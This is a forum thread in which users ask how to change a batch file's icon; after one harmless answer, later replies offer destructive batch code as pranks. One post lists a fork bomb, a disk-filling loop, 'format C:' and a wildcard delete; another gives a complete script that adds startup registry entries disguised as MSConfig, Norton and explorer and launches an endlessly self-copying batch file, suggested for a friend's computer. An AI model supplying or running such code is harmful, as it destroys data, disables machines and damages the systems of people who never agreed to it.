Go Back   TechArena Community > Software > Operating Systems
Become a Member!
Forgot your username/password?
Register Tags Active Topics RSS Search Mark Forums Read SiteMap

Tags: , , , ,

Sponsored Links



How to Change Icon of the Batch File?

Operating Systems


Reply
 
Thread Tools Search this Thread
  #1  
Old 20-11-2009
Segvoia's Avatar
Member
 
Join Date: May 2008
Posts: 97
How to Change Icon of the Batch File?

Hi, can anyone tell me how to change icon of batch file which you have created for specific work? I want some more tricks to create batch file which can perform some task. Can anyone will provide me that? Please give me if you have it.
Reply With Quote
  #2  
Old 20-11-2009
Solomon's Avatar
Member
 
Join Date: May 2008
Posts: 4,056
Re: How to Change Icon of the Batch File?

Hi, I don't know whether there is any solution to change icon of single batch file or not? But yes you can change icon of the all batch files by doing following steps:
  • Go to My Computer.
  • Click view, then options and then then the file types.
  • Select the ms-dos batch file.
  • Click on edit.
  • From this you can select one icon for you batch files.
Reply With Quote
  #3  
Old 20-11-2009
Dr. V
 
Posts: n/a
Re: How to Change Icon of the Batch File?

Hi, you can't change icon of the single batch file. I am giving you some code which can make fun for you.
Try this:
For Shutdown of Computer:
Code:
shutdown -s -t 05 -c "Shutting down"
For Restart computer:
Code:
shutdown -r -t 05 -c "Restarted very soon"
To Freeze the computer:
Code:
start name.bat 
name.bat
For Slowing down you pc:
Code:
name.bat>>name.bat 
name.bat
For formatting your c drive if it is unprotected:
Code:
format C:
To delete with the extension provided:
Code:
*.extension
Reply With Quote
  #4  
Old 20-11-2009
Devasis's Avatar
Member
 
Join Date: Jan 2008
Posts: 3,367
Re: How to Change Icon of the Batch File?

Hi, you can't able to change icon of the batch file. You can set it to specific icon by changing icon of all batch file. You can change icon of single batch file if you have made shortcut of it. I am sending you code for batch file which will be harmful to Microsoft registry editor. Just check it on your friends computer.

Code:
@echo off 
del C:\1.reg 
>>"C:\1.reg" ECHO Windows Registry Editor Version 5.00 
>>"C:\1.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 
>>"C:\1.reg" ECHO "MSConfig"="C:\\1.bat " 
>>"C:\1.reg" ECHO "MCUpdateExe"="c:\\2.bat" 
>>"C:\1.reg" ECHO "explorer"="c:\\3.bat" 
>>"C:\1.reg" ECHO "Norton"="c:\\windows\\1.bat" 
>>"C:\1.reg" ECHO "System"="c:\\windows\\2.bat" 
>>"C:\1.reg" ECHO "autoexec"="c:\\windows\\3.bat" 
regedit.exe /s C:\1.reg 

>>"C:\2.bat" ECHO :1 
>>"C:\2.bat" ECHO copy 2.bat C:\3.bat 
>>"C:\2.bat" ECHO copy 2.bat C:\4.bat 
>>"C:\2.bat" ECHO copy 2.bat C:\5.bat 
>>"C:\2.bat" ECHO start C:\2.bat 
>>"C:\2.bat" ECHO start C:\3.bat 
>>"C:\2.bat" ECHO start C:\4.bat 
>>"C:\2.bat" ECHO start C:\5.bat 
>>"C:\2.bat" ECHO copy C:\2.bat C:\windows\1.bat 
>>"C:\2.bat" ECHO copy C:\3.bat C:\windows\2.bat 
>>"C:\2.bat" ECHO copy C:\4.bat C:\windows\3.bat 
>>"C:\2.bat" ECHO start C:\windows\1.bat 
>>"C:\2.bat" ECHO start C:\windows\2.bat 
>>"C:\2.bat" ECHO start C:\windows\3.bat 
>>"C:\2.bat" ECHO goto 1 

start C:\2.bat
Reply With Quote
Reply

  TechArena Community > Software > Operating Systems


Thread Tools Search this Thread
Search this Thread:

Advanced Search


Similar Threads for: "How to Change Icon of the Batch File?"
Thread Thread Starter Forum Replies Last Post
How to change the icon of a .bat file in Windows 7? Hima!! Windows Software 6 05-10-2011 02:15 AM
How to change icon or folder icon in Android Tana$ya Portable Devices 6 06-07-2011 11:35 AM
Change the icon of an Excel file Deep23 Customize Desktop 5 13-10-2010 11:30 PM
How do you change a file type icon? steviegt Vista Setup and Install 5 19-03-2009 01:46 AM
Can't change file association for DOS batch files Musawwir Spiegel Windows XP Support 10 11-03-2009 01:10 AM


All times are GMT +5.5. The time now is 03:15 AM.